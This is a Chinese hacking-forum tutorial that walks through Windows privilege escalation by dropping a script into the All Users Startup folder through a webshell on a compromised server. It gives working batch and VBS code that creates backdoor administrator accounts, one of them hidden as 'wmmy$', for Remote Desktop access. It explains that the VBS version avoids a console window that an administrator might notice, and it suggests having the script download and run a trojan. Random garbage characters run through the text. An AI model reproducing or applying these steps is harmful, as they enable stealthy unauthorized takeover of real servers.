[原创教程] 3AST提权课程之启动项提权 权课程

wmmy

大家好，我是完美蚂蚁 今天给大家带来的提权教程是
$ R+ N5 o  B' k启动 提权  e; X# ]9 q5 T0 n% @  N  N9 v" @$ }8 g: A
C:\Docume~1\All Users\「开始」菜单\程序\启动
& P- F( L) d! x$ `; I; j在这里必须有写入权限 否则此方法无效
8 ^7 c; g+ a  T6 t因为我是在网吧 这里显示不了路径
+ K3 V0 S* d- ?. b$ o1 I我去服务器上演示给大家看
5 S" d( K' U1 z* M" V大家看到了把 就是这个路径 在这个里面写入文件 等候服务器从起 就会自动执行我们的
# B1 S: C5 s6 i" E" n% `8 c' ]6 Y文件 从而运行我们的文件
( Z9 T3 I7 x. n' @这里有两中方式 第一种是批处理
3 U; S, `* O+ U  z5 h" p我们来看下目前 我机器上的用户组" t0 U' v) H# r4 I9 f
目前我们没有521这个用户
  y. ?+ u6 r1 }$ p  {& B% O/ B6 T9 w看到了把 已经添加到管理组中去了 刚才我们运行程序的时候 一闪而过一个黑色提示0 l" @! @! `" N# `7 U' N9 X
大家看到了吧  如果是在服务器上运行 一样会有这个提示的 细心的管理员有可能发现
& L4 ?% e" ^2 x3 D+ `9 b下面我们来介绍第二中方法使用VBS脚本 大家都知道VBS脚本是没有这个提示的6 \1 b6 A! p, X/ m; |, R" S
大家看 已经成功加入了WMMY用户2 u) y4 F' D6 o% v9 p0 g; ~
网络实战才是我们练手的目的 我已经找到一个含有这种漏洞的WBESHELL了2 \& q5 b3 R- m# s0 J$ V' s& h0 ?/ H
当前终端服务端口: 3389
1 `! C. ^0 E+ }3 ]系统自动登录功能未开启5 X. d0 H" D' ^3 O- y. S0 \
3389 已经打开了 我们只需要拥有一个管理员权限的用户就可以了4 u5 a' @$ V* O+ I& Q: H
C:\Docume~1\All Users\「开始」菜单\程序\启动 这个是默认的路径8 {9 r* v8 Z8 r2 c. ~
第一种隐蔽性太差  我们就用第二种吧
& r6 z7 _- o5 s: B" l3 B* M已经写入了 我们只需要等待服务器从起 那个VBS脚本文件就会把我们的用户加入进去: O6 G& o- l! M% u$ y$ O% E
从而取得了3389的登陆权限
3 ]7 |* x0 N2 q9 }8 U1 T其实在VBS脚本中 我们不一定需要添加管理员帐户可以 直接让VBS下载运行我们的木马0 D8 M& M0 f1 z& C! w
基本原理都差不多  我就不多介绍了$ K" N: v; Y5 y9 e
教程结束```( d! y. b& h  g9 K0 s( L( t
@echo off
. I2 |/ T5 H: P4 [% Anet user 521 521 /add4 w0 q& u/ u' A: l
net localgroup administrators 521 /add
7 @* ]! m* j8 s+ q, N; B' l0 o( Y/ ^2 R* t; Z+ D. j# T$ }6 u5 ~
on Error Resume next
% ]* N8 z1 f8 kset wshshell=createobject("wscript.shell")1 ?6 N: V$ w7 O( D- m1 |& q
a=wshshell.run("net user wmmy$ 1227 /add",0)
' [( j; y! y5 w; i) \* Ka=wshshell.run("net localgroup administrators wmmy$ /add",0)' W1 w& [; j9 y1 F
$ g' Y/ h0 M5 y/ q/ {5 w, [; n6 y

. I  D0 d' o- g) R+ ~点击下载1 T+ I( u2 P: d: `\" C0 U